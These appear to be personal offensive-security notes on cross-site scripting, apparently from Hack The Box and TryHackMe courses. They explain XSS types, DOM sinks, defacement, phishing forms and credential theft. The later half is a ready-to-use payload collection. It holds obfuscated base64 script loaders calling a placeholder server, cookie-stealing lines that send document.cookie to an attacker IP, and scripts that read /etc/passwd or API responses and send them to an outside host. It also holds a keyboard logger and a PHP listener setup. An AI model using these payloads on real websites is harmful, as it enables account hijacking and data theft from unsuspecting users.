Other browser based exploits - There are millions of possibilities with XSS.
Types of XSS
Type
Description
Stored (Persistent) XSS
The most critical type of XSS, which occurs when user input is stored on the back-end database and then displayed upon retrieval (e.g., posts or comments)
Reflected (Non-Persistent) XSS
Occurs when user input is displayed on the page after being processed by the backend server, but without being stored (e.g., search result or error message)
DOM-based XSS
Another Non-Persistent XSS type that occurs when user input is directly shown in the browser and is completely processed on the client-side, without reaching the back-end server (e.g., through client-side HTTP parameters or anchor tags)
Tip: Many modern web applications utilize cross-domain IFrames to handle user input, so that even if the web form is vulnerable to XSS, it would not be a vulnerability on the main web application. This is why we are showing the value of window.origin in the alert box, instead of a static value like 1. In this case, the alert box would reveal the URL it is being executed on, and will confirm which form is the vulnerable one, in case an IFrame was being used.
Will pop up the browser print dialog, which is unlikely to be blocked by any browser
Cookies
Reflected XSS
The single quotes contain our XSS payload '<script>alert(window.origin)</script>'.
GET request sends their parameters and data as part of the URL. So, to target a user, we can send them a URL containing our payload.
DOM XSS
Sink:
document.write()
DOM.innerHTML
DOM.outerHTML
Document Sink
Location Sink
Execution Sink
DOM Source
A source is a JavaScript property that accepts data that is potentially attackercontrolled
jQuery:
add()
after()
append()
innerHTML function does not allow the use of the <script> tags within it as a security feature
Note: XSS can be injected into any input in the HTML page, which is not exclusive to HTML input fields, but may also be in HTTP headers like the Cookie or User-Agent (i.e., when their values are displayed on the page).
Defacing
Three HTML elements are usually utilized to change the main look of a web page:
Background Color document.body.style.background
Background document.body.background
Page Title document.title
Page Text DOM.innerHTML
Changing Background
Here we set the background color to the default Hack The Box background color. We can use any other hex value, or can use a named color like = "black".
Changing Page Title
Changing Page Text
jQuery
innerHTML
document.getElementsByTagName('body') => by specifying [0], we are selecting the first body element, which should change the entire text of the web page
Phishing
Tip: To understand which payload should work, try to view how your input is displayed in the HTML source after you add it.
Remove the URL field, such that they may think that they have to log in to be able to use the page. To do so, we can use the JavaScript function document.getElementById().remove() function.
Find the id of the HTML element we want to remove:
Final Payload:
Remove the original HTML code left after our injected login form
Credential Stealing
If any victim attempts to log in with the form, we will get their credentials.
Use a basic PHP script that logs the credentials from the HTTP request and then returns the victim to the original page without any injections
Now we can start testing these payloads one by one by using one of them for all of input fields and appending the name of the field after our IP
Tip: We will notice that the email must match an email format, even if we try manipulating the HTTP request parameters, as it seems to be validated on both the front-end and the back-end. Hence, the email field is not vulnerable, and we can skip testing it. Likewise, we may skip the password field, as passwords are usually hashed and not usually shown in cleartext. This helps us in reducing the number of potentially vulnerable input fields we need to test.
Write any of these JavaScript payloads to script.js, which will be hosted on our VM
Change the URL in the XSS payload we found earlier to use script.js
If there were many cookies, we may not know which cookie value belongs to which cookie header. So, we can write a PHP script to split them with a new line and write them to a file
If it doesn't work, try to put a js file on your webserver and fetch it:
xss.js
Payload:
XSS in an email / username
XSS in an email address is underrated. (email is rarely sanitized by companies). Use catch-all and then you can also verify your account (if required).
mXSS (Mutated Cross-Site Scripting) occurs when a browser unexpectedly processes and transforms seemingly safe HTML tags or attributes, allowing malicious scripts to bypass filters and execute.
While libraries like DomPurify are designed to mitigate such attacks, some versions have been exploited by researchers who have discovered new ways to trick the browser and bypass this defense mechanisms.
However, not every developer is aware of DomPurify, or they may choose not to use it for various reasons, opting instead to create their own filters or validators dor safe HTML. This is where mXSS becomes particularly effective in bypassing custum protection measures
<div></div><ul class="list-unstyled" id="todo"><div style="padding-left:25px">Task '<script>alert(window.origin)</script>' could not be added.</div></ul>
$ mkdir /tmp/tmpserver
$ cd /tmp/tmpserver
$ vi index.php #at this step we wrote our index.php file
$ sudo php -S 0.0.0.0:80
PHP 7.4.15 Development Server (http://0.0.0.0:80) started
# Include your IP into the base64
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
0xss0rz@htb[/htb]$ mkdir /tmp/tmpserver
0xss0rz@htb[/htb]$ cd /tmp/tmpserver
0xss0rz@htb[/htb]$ sudo php -S 0.0.0.0:80
PHP 7.4.15 Development Server (http://0.0.0.0:80) started
<script src=http://OUR_IP/fullname></script> #this goes inside the full-name field
<script src=http://OUR_IP/username></script> #this goes inside the username field
...SNIP...
document.location='http://OUR_IP/index.php?c='+document.cookie;
new Image().src='http://OUR_IP/index.php?c='+document.cookie;
fetch('/api/info')
.then(response => response.text()) // Get the response body as text
.then(text => {
// Send the base64-encoded response to your server
fetch('http://10.10.14.44/data?' + btoa(text), { mode: 'no-cors' });
});
<script>
function addNewlines(str) {
var result = '';
while (str.length > 0) {
result += str.substring(0, 100) + '\n';
str = str.substring(100);
}
return result;
}
x = new XMLHttpRequest();
x.onload = function(){
document.write(addNewlines(btoa(this.responseText)))
};
x.open("GET", "file:///etc/passwd");
x.send();
</script>
<script>
var readfile = new XMLHttpRequest(); // Read the local file
var exfil = new XMLHttpRequest(); // Send the file to our server
readfile.open("GET","file:///var/www/html/dev-text.php", true);
readfile.send();
readfile.onload = function() {
if (readfile.readyState === 4) {
var url = 'http://burpcollaborator.com?data='+btoa(this.response);
exfil.open("GET", url, true);
exfil.send();
}
}
readfile.onerror = function(){document.write('<a>Oops!</a>');}
</script>
# Keylogger example - Source TryHackMe
<script type="text/javascript">
let l = ""; // Variable to store key-strokes in
document.onkeypress = function (e) { // Event to listen for key presses
l += e.key; // If user types, log it to the l variable
console.log(l); // update this line to post to your own server
}
</script>